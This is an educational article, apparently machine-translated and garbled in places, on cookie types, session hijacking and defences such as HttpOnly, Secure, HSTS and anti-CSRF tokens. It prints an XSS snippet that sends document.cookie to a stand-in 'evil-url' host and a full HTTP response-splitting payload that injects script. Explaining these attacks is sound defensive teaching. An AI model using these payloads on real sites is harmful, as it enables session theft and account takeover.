Cookie theft and Session hijacking

Updates

• 2014-08-17 thanks to the crosser of the front end, added the content of the HTTP Response splitting.

The presentation stamp of this article is here.

I. Basic characteristics of cookies

If you do not know cookies, you can study on Wikipedia first.

HTTP request

Every request that the browser initiates to the server will bring a cookie:

1. Host:www.example.org

2. Cookie:foo=value1;bar=value2

3. Accept: */*

HTTP response

The server's return to the browser can set a cookie:

1. http/1.1 OK

2. Content-type:text/html

3. Set-cookie:name=value

4. Set-cookie:name2=value2; expires=wed,09 June 2021 10:18:32 GMT

6. (Content of page)

Ii. cookie-related terms session cookie

When a cookie does not have a timeout set, the cookie is destroyed when the browser exits, which is a session cookie.

Persistent cookie/tracking Cookies

A cookie that sets the time-out period is destroyed at a specified time, and the cookie lasts until the browser exits, and the cookie is persisted in the browser. Many sites use cookies to track a user's history, such as when an ad site uses cookies to record what it browses, and search engines use cookies to record historical searches, which can also be called tracking cookies, as it is used to track user behavior.

Secure Cookie

When setting a cookie on the server side, you can specify a secure property, in which case the cookie is brought to the network request only when it is transmitted over the HTTPS protocol, and the unencrypted HTTP request does not have a secure cookie. Examples of how to set up secure cookies:

1. Set-cookie:foo=bar; path=/; Secure

HttpOnly cookies

When setting cookies on the server side, you can also specify a HttpOnly property.

1. Set-cookie:foo=bar; path=/; HttpOnly

Cookies that have this property set are not available in JavaScript and are only brought to the server during network transfer.

Third-party Cookies

The use of third-party cookies is usually an iframe, such as www.a.com sneak into a www.ad.com ad iframe, then www.ad.com set cookies are not part of www.a.com, known as third-party cookies.

Supercookie

A cookie belongs to a domain name, such as www.a.com, or to a subdomain, such as b.a.com. But what happens if a cookie is declared to belong to. com? This cookie will take effect on any. com domain name. This has a lot of security issues. This cookie is called Supercookie. The browser has restricted the setting of top-level domain cookies (such as. com,.net) and pubic suffix cookies (for example,. co.uk,.com.cn). Modern mainstream browsers are good at dealing with supercookie issues, but if some third-party browsers use top-level domain names and public suffix lists that have problems, they can attack Supercookie.

Zombie Cookie/evercookie

A zombie cookie is a cookie that can be automatically recreated when a user clears a cookie through a browser's settings. The principle is to record the same content (for example, Flash,silverlight) by using multiple techniques, recovering from other storage when the cookie is deleted. Evercookie is the main technical means of implementing zombie cookies. Learn about zombie cookies and Evercookie.

Iii. What is the use of cookies

There are generally three main uses of cookies.

Session Management

The HTTP protocol itself is stateless, but many modern sites need to maintain a log-in state, that is, to maintain the session. The most basic way to maintain the session is base Auth, but this way, the user name and password in each request will be sent to the client in clear text, very vulnerable to man-in-the-middle attack, there is a great security risk. So now most sites use cookie-based session management: After the successful user login, set a unique cookie to identify the session, based on the identity of the user authorization. As long as the request has this identity, it is considered a login state.

Personalized

Cookies can be used to record information in order to display relevant content when a subsequent user browses the page. A typical example is the shopping cart feature of the shopping site. The igoogle product that was previously exited by Google is also a typical example, with users having their own Google Custom home page, which uses cookies.

User tracking

Cookies can also be used to track user behavior, such as whether they have visited the site, what actions have been taken, and so on.

Iv. cookie theft and session hijacking

In this paper, the security issues of Session management in three uses of cookies are discussed. Since cookies are used to maintain sessions, what happens if this cookie is stolen by an attacker? The session was hijacked! An attacker hijacking a session is tantamount to legally logging into your account and browsing through most of your user resources.

The most basic way to steal cookies: XSS vulnerabilities

attack Once an exploited XSS vulnerability exists in the site, an attacker could use the injected JS script to obtain a cookie and escalate a cookie that identifies the session ID to the attacker via an asynchronous request.

2. var img = document. CreateElement(' img ');

4. IMG. src =' http://evil-url?c= '+ encodeuricomponent(document. Cookies);

6. Document. getElementsByTagName(' body ') [0]. AppendChild(img);

How to find an XSS vulnerability is another topic, Google's own. Defense According to HttpOnly cookie the above introduction, once a cookie is set HttpOnly , the JS script can no longer be acquired, and the network will still be transmitted. In other words, this cookie can still be relied on for session maintenance, but client JS is not visible to it. So even if there is an XSS vulnerability, it is not easy to use it for session hijacking attacks. But it says there is no way to use XSS for simple attacks, but it is not impossible. Now that you can't use it document.cookie , you can turn it in another way. The following describes how two XSS attacks are combined with other vulnerabilities.

XSS Combined Phpinfo page

attack Everyone knows that an application developed with PHP will have a phpinfo page.  This page will dump the request information, including cookie information. If the developer does not close the page, an XSS vulnerability can be used to initiate an asynchronous request to this page, get the page content and parse out the cookie information, and then pass it on to the attacker. Phpinfo is just the most common type of Dump request page, but not limited to this, for debugging convenience, any dump request page is a vulnerability that can be exploited. A page that defends all phpinfo dump request information from being closed.

XSS + HTTP TRACE = XST

This is an ancient attack style that has now disappeared and is written here to extend the defensive mentality. HTTP trace is a way for our web server to return all of the client's request information to the client. It contains HttpOnly's cookies. If you use XSS to initiate a trace request asynchronously, you can also get the session information. This is an ancient way of attacking, because modern browsers prohibit the asynchronous initiation of trace requests, considering the dangers of xst. In addition, when the browser does not prohibit the asynchronous launch of Trace, many developers have closed the Web server trace support to protect against XST attacks. However, an attacker could bypass a specific situation where the user uses a proxy server, and the proxy server does not turn trace support off, so it can trace.

HTTP Response Splitting

• Reference 1

• Reference 2

The usual XSS attacks are injecting input into Response content, and HTTP Response splitting is an injection of headers. For example, a site accepts parameters to do 302 jumps:

1. Www.example.com/?r=http://baidu.com

Request Information:

1. Get/example.com?r=http://baidu.com

2. http/1.1

3. Host:example.com

Response

1. http/1.1 302 Found

2. Location:http://baidu.com

3. Content-type:text/html

This page on the 302 jump to Baidu. An attacker can inject the Header,r parameter with the R parameter instead of a simple URL, but instead contains the header information:

2. http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0 A%0d%0a%3chtml%3e%3cscript%3ealert (Document.cookie)%3c/script%3e%3ch1%3edefaced!%3c/h1%3e%3c/html%3e

Response has become:

1. http/1.1 302 Found

2. Location:

3. http/1.1 OK

4. Content-type:text/html

5. x-xss-protection:0

7. Alert(document. Cookies)</script>defaced!

8. Content-type:text/html

There are two points of attack:

• Specifies X=xss-protection:0, which closes the browser's XSS protection mechanism.

• Inject script

defend The content of the header to do filtering, can not be missed , especially location,host,referrer and so on. In the final analysis, this is an XSS attack, but the attack is not the same as normal. The attack on the header can also do SQL injection, etc., the principle of defense is to sanitize all the input, including non-user input content, such as referrer, which is generally brought by the browser information, because the request can be completely forged, not necessarily from the browser.

Network monitoring (Eavesdropping/network sniffing)

These are some of the attacks that take advantage of the features of the upper layer, which are not only present in the upper-level applications, but also in requests. When the upper-level application is not acquired, an attacker can instead obtain it from a network request. Any web site that is not encrypted with HTTPS can capture packet analysis, which contains a cookie that identifies the session. Of course, the completion of network monitoring needs to meet certain conditions, this is another topic. A common way:

• DNS cache poisoning the attacker maps a subdomain of the domain name to be attacked to the attacker's server, then tries to get the attacker to access the server (XSS request, social attack, etc.), and the request will bring all the cookies (including HttpOnly).

• A common attack on man-in-the-middle attacks is to build free WiFi, designate a DHCP server as an attacker's IP, receive all requests on an attacker's machine, not only obtain cookies, but also script injection.

• Proxy server/VPNFQ with free VPN? Oh.

defend against using HTTPS. Requests using the HTTPS protocol are encrypted by SSL, theoretically unbreakable, and cannot be decrypted to see the actual content even if it is monitored by the network. There are usually two ways to defend against network snooping:

• Channel encryption

• Content encryption

HTTPS is an encrypted channel, and the content transmitted on this channel is not visible to the middleman. But HTTPS is cost-aware. Content encryption is a good understanding, such as password encryption before transmission. However, the identity information for the cookie that identifies the session cannot be protected by content encryption. So, can the site with https be safe? In fact, improper handling of some details can also expose the risk of attack.

HTTPS site attack: Dual protocol

If both HTTP and HTTPS are supported, you can still use the network to listen for HTTP requests for cookies. The defense only supports HTTPS and does not support HTTP. Is that a good thing? No.

HTTPS site attack: 301 redirect

For example, www.example.com only supports the HTTPS protocol, when the user enters example.com directly (most users do not enter the protocol prefix manually), the usual processing of Web server is to return 301 to require the browser to redirect to https://www.example.com . This time the 301 request is HTTP! And with a cookie, it exposes the cookie in plaintext to the web. Defense 1 Set the cookie that identifies the session to secure. The secure cookie mentioned above only allows encrypted transmission on HTTPS, which does not exist in the HTTP request, so it is not exposed to an unencrypted network. Then the reality is very cruel, many sites simply can't do all the requests are going to HTTPS. There are many reasons for this, which may be cost considerations and may be business requirements. Defense 2 Settings Strict-Transport-Security header , omit this HTTP request directly! After the user first accesses, the server sets up the header, and the HTTP 301 request is omitted later. More points for this dark cloud case

Thinking

If stealing cookies fails and cannot be hijacked, how can an attacker initiate an attack? The purpose of the hijacking session is to get the login state so that the server is authorized to make many requests, such as account changes. If the session is not hijacked, can also do the authorization request is not also to achieve the purpose of the attack? No need to get a session cookie, the cross-site request is ready, this is csrf! The server automatically transmits cookies by storing the user credentials in a cookie to maintain the SESSION,HTTP/HTTPS protocol every time it is accessed, and the defect on the protocol is the root cause of the CSRF attack! Defense style: Use Anti-forgery token

Most attacks are the right behavior, the most basic right by stealing the user name password, not successful to steal the session, steal not to cross-site attack, it is not replay can also cause harm

Cookie theft and Session hijacking